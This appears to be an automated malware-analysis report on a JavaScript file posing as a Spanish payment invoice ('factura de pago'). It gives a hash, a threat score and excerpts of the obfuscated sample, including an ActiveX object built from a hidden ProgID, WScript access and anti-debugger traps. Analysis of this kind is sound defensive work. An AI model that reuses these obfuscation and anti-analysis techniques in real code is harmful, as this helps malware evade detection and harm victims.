Suspicious ^80% Download

factura de pago .JS

Obfuscated malware with execution and anti-analysis

WScript bracket-member access in source textdebugger string split across literals

SHA-25685e9137ce0d1cb5b1bbfb12b9cb310a0b0cecd6c3d9c53d06c248a15664b3649

URLhttps://mb-api.abuse.ch/api/v1/

MaleculeO₅(AlAs₂CIXe₂)H₅(Db₆F₂OsPo₃U)Md(Pt)

Evidence

Starts a synchronous function expression lines 29–37

29:134… ��═══════════════════ */
30
31
32
33
34
35(function(DBFVEZYDDZJUIOQN80680,DBFVEZYDDZJUIOQN11471){
36  var DBFVEZYDDZJUIOQN8046={
37    'HCsat':'ANY','adGZZ':'❉⋈ೂDBFVEZYDDZJUIOQN཈ᇷ🗎ή⫺ᴃᬀӁⲥDBFVEZYDDZJUIOQN᭰⪚໣ߝഴ▮ᔾṣή⑈ᕆਤ⌱዆̿ᎍ','BNpmP':'3DNOW','ibcXa':'3DNOW2','yVoIu':'AESNI','dADru':'AMX_BF16','XFZsr':'DBFVEZYDDZJUIOQNOO','rZNjO':'DBFVEZYDDZJUIOQNOO512_4FMAPS','IlbyJ':'DBFVEZ …

Dense computed-property call cluster (3+) lines 373–378

373:4… OLLYNAMRF+=DBFVEZYDDZJUIOQN60841['bgKTW'];
374  
375}var DBFVEZYDDZJUIOQNMSC=DBFVEZYDDZJUIOQNDJO['split']('\u261F\u261F')['join']('');
376function DBFVEZYDDZJUIOQNEU(DBFVEZYDDZJUIOQN34711){
377  var DBFVEZYDDZJUIOQN37071={
378    'UfeYv':'1 …

Constructs ActiveX object from variable ProgID lines 380–386

951… OQNፓ੧หᏓtਖ⚬ಟఀ⑌';

382}var DBFVEZYDDZJUIOQNXOG=new ActiveXObject(DBFVEZYDDZJUIOQNMSC);
383function DBFVEZYDDZJUIOQNEU(DBFVEZYDDZJUIOQN69684){
var DBFVEZYDDZJUIOQN32241={
  'UtyMZ':'1234567890'
},DBFVEZYDDZJ …

WScript bracket-member access in source text lines 533–539

48… 89['QAwjW'];
  HOLLYNAMRF+=DBFVEZYDDZJUIOQN13589['TVRCR'];
  
}var DBFVEZYDDZJUIOQNXDE=WScript['ScriptName'];
function DBFVEZYDDZJUIOQNEU(DBFVEZYDDZJUIOQN97510){
  var DBFVEZYDDZJUIOQN66208='1234567890';
  HOLLYNAMRF+='ፓ੧หᏓtਖ⚬ಟఀ⑌DBFVEZYDDZJUIOQNፓ੧หᏓt� …

debugger fragments in obfuscated string table lines 1916–1929

33… 134==='string')return function(DBFVEZYDDZJUIOQN31682){
    
  }['constructor']('while\x20(true)\x20{}')['apply']('counter');
  else(''+DBFVEZYDDZJUIOQN29134/DBFVEZYDDZJUIOQN29134)['length']!==0x1||DBFVEZYDDZJUIOQN29134%0x14===0x0?function(){
    return!![];
    
  }['constructor']('debu'+'gger')['call']('action'):function(){
    return![];
    
⋯5 lines